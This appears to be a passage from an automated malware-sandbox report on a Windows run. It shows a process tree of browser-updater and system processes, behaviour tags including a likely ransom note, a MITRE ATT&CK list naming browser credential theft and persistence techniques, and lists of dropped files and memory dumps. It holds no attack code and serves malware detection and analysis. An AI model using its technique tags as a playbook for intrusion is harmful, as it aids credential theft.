C:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping8144_1561582442\CR_4185D.tmp\setup.exeC:\Windows\SystemTemp\GoogleUpdater_chrome_Unpacker_BeginUnzipping8144_1561582442\CR_4185D.tmp\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=150.0.7871.47 --attachment=C:\Windows\SystemTemp\chrome_installer.log "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x2a4,0x2a8,0x2ac,0x280,0x2b0,0x7ff7f2be8980,0x7ff7f2be898c,0x7ff7f2be89985⤵
-
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\temCE2.tmp2⤵
- Opens file in notepad (likely ransom note)
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Windows\System32\SecurityHealthHost.exe\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding1⤵
-
C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe" --wake --system1⤵
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe" --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=151.0.7910.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x294,0x2b0,0x2b4,0x28c,0x2b8,0x5f12f4,0x5f1300,0x5f130c2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe" --system --windows-service --service=update-internal1⤵
- Checks whether UAC is enabled
-
C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe" --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=151.0.7910.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x2ac,0x2b0,0x2b4,0x2a8,0x2b8,0x5f12f4,0x5f1300,0x5f130c2⤵
-
-
C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe" --system --windows-service --service=update1⤵
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe" --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=151.0.7910.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0xf0,0xe0,0xe4,0xec,0xf4,0x5f12f4,0x5f1300,0x5f130c2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Windows\System32\oobe\UserOOBEBroker.exeC:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding1⤵
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exeC:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe -Embedding1⤵
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Active Setup
1Event Triggered Execution
2Component Object Model Hijacking
1Image File Execution Options Injection
1Privilege Escalation
Boot or Logon Autostart Execution
1Active Setup
1Event Triggered Execution
2Component Object Model Hijacking
1Image File Execution Options Injection
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Discovery
Browser Information Discovery
1Peripheral Device Discovery
2Query Registry
6Remote System Discovery
1System Information Discovery
6System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1System Time Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
settings.dat
settings.dat
prefs.json
metadata.json
metadata.json
prefs.json
prefs.json
prefs.json
prefs.json
prefs.json
prefs.json
prefs.json
prefs.json
prefs.json
prefs.json
prefs.json
prefs.json
prefs.json
prefs.json
messages.json
d75d6c5e-80ac-4371-9d5d-027a7e42e97f.tmp
external_extensions.json
iwa-key-distribution.pb
manifest.json
manifest.json
preloaded_data.pb
manifest.json
privacy-sandbox-attestations.dat
icudtl.dat
os_update_handler.exe
v8_context_snapshot.bin
vk_swiftshader_icd.json
chrome.exe
chrome_proxy.exe
am_MASCULINE.pak
Local State
Local State
settings.dat
settings.dat
settings.dat
settings.dat
settings.dat
9043e1ba-26bb-44cd-83ab-8881b6546116.tmp
LOG.old
BookmarkMergedSurfaceOrdering
BrowsingTopicsState
the-real-index
the-real-index
the-real-index~RFe5e18d5.TMP
SiteList-Enterprise.json
HubApps
349e4cb5-c9b4-4940-af34-439712d6f007.tmp
Network Persistent State
Network Persistent State
Network Persistent State
SCT Auditing Pending Reports
Sdch Dictionaries
TransportSecurity
TransportSecurity
TransportSecurity
Preferences
Preferences
Preferences
Secure Preferences
sync_diagnostic.log
data_1
Local State
Local State
Local State
Local State
Local State
Local State
Local State
1533a9a7-4e57-42b6-846d-10f38f70e95f.tmp
4fd76329-11f7-40d0-8f66-9cdf5ea03ee6.tmp
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartUnifiedTileModelCache.dat
prep_Activatable Class_Hermes_perf.cache
microsoftwindows.client[1].xml
SearchUnifiedTileModelCache.dat
054siece.dll
1730177886.exe
646902794.exe
MAS.cmd
RES8BEA.tmp
__PSScriptPolicyTest_mxzzmu14.0km.ps1
gcapi.dll
ad.trace
ad.trace
ad.trace
service.conf
service.conf
service.conf
service.conf
system.conf
system.conf
system.conf
system.conf
system.conf
system.conf
system.conf
system.conf
system.conf
system.conf
system.conf.new
system.conf.new
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
590aee7bdd69b59b.customDestinations-ms
Execution Policy Bypass.cmd
settup.ps1
updater.exe
updater.7z
UPDATER.PACKED.7Z
setup.exe
hyph-bn.hyb
hyph-mr.hyb
hyph-nn.hyb
edge_checkout_page_validator.js
miniwallet.bundle.js.LICENSE.txt
notification.bundle.js.LICENSE.txt
strings.json
054siece.0.cs
054siece.cmdline
CSCA51CDED7E744EDAA57DF6A06EDB80ED.TMP
memory/256-1487-0x000001595C2D0000-0x000001595C2EE000-memory.dmp
memory/256-1489-0x000001595C510000-0x000001595C5C2000-memory.dmp
memory/256-1538-0x000001595C600000-0x000001595C60C000-memory.dmp
memory/256-1493-0x000001595C2F0000-0x000001595C2FA000-memory.dmp
memory/1436-1607-0x0000000006750000-0x00000000069AF000-memory.dmp
memory/1988-4465-0x0000023174370000-0x00000231743B8000-memory.dmp
memory/2064-37-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/2064-926-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/2064-1279-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/2064-1708-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/2064-1491-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/2064-1212-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/2064-1205-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/2064-961-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/2064-1815-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/2512-1324-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/2512-1277-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/2512-923-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/2512-924-0x0000000000F74000-0x0000000002136000-memory.dmp
memory/2512-0-0x0000000000F74000-0x0000000002136000-memory.dmp
memory/2512-1-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/2512-32-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/2512-1229-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/2512-1192-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/2536-1739-0x000001933E240000-0x000001933E25E000-memory.dmp
memory/3724-1343-0x0000021482A20000-0x0000021482A40000-memory.dmp
memory/3724-1338-0x00000214801E0000-0x00000214802E0000-memory.dmp
memory/3724-1359-0x0000021482C80000-0x0000021482CA0000-memory.dmp
memory/3724-1384-0x0000021494290000-0x00000214942B0000-memory.dmp
memory/3724-1344-0x0000021482E40000-0x0000021482F40000-memory.dmp
memory/4288-1775-0x000002E043E10000-0x000002E043E11000-memory.dmp
memory/4288-1767-0x000002E043E10000-0x000002E043E11000-memory.dmp
memory/4288-1778-0x000002E043E10000-0x000002E043E11000-memory.dmp
memory/4288-1777-0x000002E043E10000-0x000002E043E11000-memory.dmp
memory/4288-1776-0x000002E043E10000-0x000002E043E11000-memory.dmp
memory/4288-1774-0x000002E043E10000-0x000002E043E11000-memory.dmp
memory/4288-1773-0x000002E043E10000-0x000002E043E11000-memory.dmp
memory/4288-1769-0x000002E043E10000-0x000002E043E11000-memory.dmp
memory/4424-1233-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/4424-928-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/4424-1280-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/4424-1213-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/4424-1206-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/4424-1492-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/4424-1193-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/5008-145-0x0000000007010000-0x000000000702B000-memory.dmp
memory/5008-960-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/5008-925-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/5008-1194-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/5008-1204-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/5008-144-0x0000000007010000-0x000000000702B000-memory.dmp
memory/5008-1211-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/5008-141-0x0000000007010000-0x000000000702B000-memory.dmp
memory/5008-1278-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/5008-1707-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/5008-35-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/5008-1490-0x0000000000F70000-0x0000000002690000-memory.dmp
memory/6316-1561-0x000001AFB9450000-0x000001AFB9612000-memory.dmp
memory/6316-1323-0x000001AFB8CB0000-0x000001AFB8CB8000-memory.dmp
memory/6444-1290-0x000001524B2E0000-0x000001524B302000-memory.dmp
memory/6692-1606-0x000001FB5E210000-0x000001FB5E41A000-memory.dmp
memory/6692-1605-0x000001FB5DE80000-0x000001FB5DFF6000-memory.dmp
memory/7552-1873-0x000001E3DCD80000-0x000001E3DCD90000-memory.dmp
memory/7552-1871-0x000001E3DCD80000-0x000001E3DCD90000-memory.dmp
memory/7552-1872-0x000001E3DCD80000-0x000001E3DCD90000-memory.dmp
memory/7552-1856-0x000001E3DCD80000-0x000001E3DCD90000-memory.dmp
memory/7552-1857-0x000001E3DCD80000-0x000001E3DCD90000-memory.dmp
memory/7636-1865-0x0000025E09D30000-0x0000025E09D40000-memory.dmp
memory/7636-1866-0x0000025E09D30000-0x0000025E09D40000-memory.dmp
memory/7636-1858-0x0000025E09D30000-0x0000025E09D40000-memory.dmp
memory/7636-1859-0x0000025E09D30000-0x0000025E09D40000-memory.dmp
memory/7636-1864-0x0000025E09D30000-0x0000025E09D40000-memory.dmp
memory/7652-1877-0x00000207DFB90000-0x00000207DFBA0000-memory.dmp
memory/7652-1870-0x00000207DFB90000-0x00000207DFBA0000-memory.dmp
memory/7652-1869-0x00000207DFB90000-0x00000207DFBA0000-memory.dmp
memory/7652-1876-0x00000207DFB90000-0x00000207DFBA0000-memory.dmp
memory/7728-1868-0x0000017C80DE0000-0x0000017C80DF0000-memory.dmp
memory/7728-1867-0x0000017C80DE0000-0x0000017C80DF0000-memory.dmp